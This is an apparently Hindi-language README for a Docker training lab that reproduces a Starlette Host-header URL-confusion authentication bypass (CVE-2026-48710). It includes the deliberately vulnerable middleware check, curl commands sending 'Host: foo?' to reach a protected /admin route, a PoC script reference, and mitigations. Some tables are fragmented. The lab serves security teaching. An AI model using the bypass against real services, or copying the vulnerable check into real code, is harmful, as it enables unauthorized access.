
Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710
X41 D-Sec द्वारा खुलासा किए गए Starlette प्रमाणीकरण-बायपास भेद्यता को पुन: पेश करने वाली एक स्व-निहित, कंटेनरीकृत प्रशिक्षण लैब।
>= 0.8.3, < 1.0.1 (लैब 0.37.2 पर सेट है)1.0.1 में⚠️ केवल अधिकृत सुरक्षा प्रशिक्षण के लिए। यह ऐप जानबूझकर कमजोर है। इसे किसी भी सुलभ नेटवर्क पर तैनात न करें।
Starlette कच्चे ASGI scope["path"] का उपयोग करके एक अनुरोध को रूट पर भेजता है, लेकिन यह क्लाइंट द्वारा प्रदान किए गए Host हेडर को "{scheme}://{host}{path}" में स्ट्रिंग-फ़ॉर्मेट करके request.url का पुनर्निर्माण करता है — RF आवश्यकता 9112 §3.2 के अनुसार Host हेडर को मान्य किए बिना। क्योंकि URL मेटाकैरेक्टर (?, /, #) को सीधे अनुमति दी जाती है, एक हमलावर पुनर्निर्मित पथ को रूट किए गए पथ से अलग कर सकता है। request.url.path के विरुद्ध लिखी गई कोई भी सुरक्षा जांच को तब धोखा दिया जा सकता है जबकि राउटर अभी भी संरक्षित हैंडलर तक पहुँचता है।
कमजोर मिडलवेयर अनुरोध को केवल तब अनुमति देता है जब request.url.path / या खाली हो:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
GET /admin के विरुद्ध Host: foo? भेजें:
| घटक | उपयोग किया गया मान |
|---|---|
| राउटर () |
? इसके बाद की हर चीज़ को क्वेरी स्ट्रिंग में बदल देता है, इसलिए पार्स किया गया पथ खाली है। प्रमाणीकरण एक खाली पथ देखता है और इसे पास कर देता है; राउटर अभी भी /admin प्रदान करता है। बायपास प्राप्त हुआ।
Docker + Docker Compose आवश्यक है।
docker compose up --build
दो सेवाएँ शुरू होती हैं:
| सेवा | URL | व्यवहार |
|---|---|---|
vulnerable | http://localhost:8000 | बायपास करने योग्य |
fixed | http://localhost:8001 | शमित (दो तरीके) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
या निर्देशित PoC स्क्रिप्ट चलाएँ:
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
कमजोर /admin हैंडलर एक JSON बॉडी लौटाता है जो भ्रम को दृश्यमान बनाता है — ध्यान दें कि scope_path और reconstructed_path कैसे भिन्न हैं:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
देखें fixed/fixed_app.py। दो स्वतंत्र शमन:
request.url.path के बजाय request.scope["path"] पर प्रमाणीकरण निर्णय लें — वही कच्चा पथ जो राउटर उपयोग करता है।TrustedHostMiddleware किसी भी एप्लिकेशन लॉजिक के चलने से पहले अप्रत्याशित/गलत Host हेडर को अस्वीकार करता है, जो एक RFC-अनुरूप रिवर्स प्रॉक्सी (nginx/Apache) अपस्ट्रीम में करता है।वास्तविक दुनिया का समाधान बस Starlette ≥ 1.0.1 में अपग्रेड करना है, जो URL पुनर्निर्माण के दौरान Host हेडर को मान्य करता है।
redirect_uri, कैश कुंजियाँ, Host से बने पासवर्ड-रीसेट लिंक।)/admin) "रूट किए गए एंडपॉइंट पर निर्णय लेने" से अधिक नाजुक क्यों है? यदि रूटिंग केस-असंवेदनशील है या ट्रेलिंग-स्लैश रीडायरेक्ट हैं तो क्या होगा?0.0.0.0-दिन।)starlette-host-header-lab/
├── app/vulnerable_app.py # जानबूझकर कमजोर सेवा
├── fixed/fixed_app.py # तुलना के लिए शमित सेवा
├── exploit/exploit.sh # निर्देशित प्रूफ-ऑफ-कॉन्सेप्ट
├── requirements.txt # Starlette 0.37.2 को पिन करता है (कमजोर)
├── Dockerfile
├── docker-compose.yml
└── README.md
scope["path"]/admin → admin() को भेजता है |
request.url | http://foo?/admin |
request.url.path | "" → प्रमाणीकरण जांच पास करता है ✅ |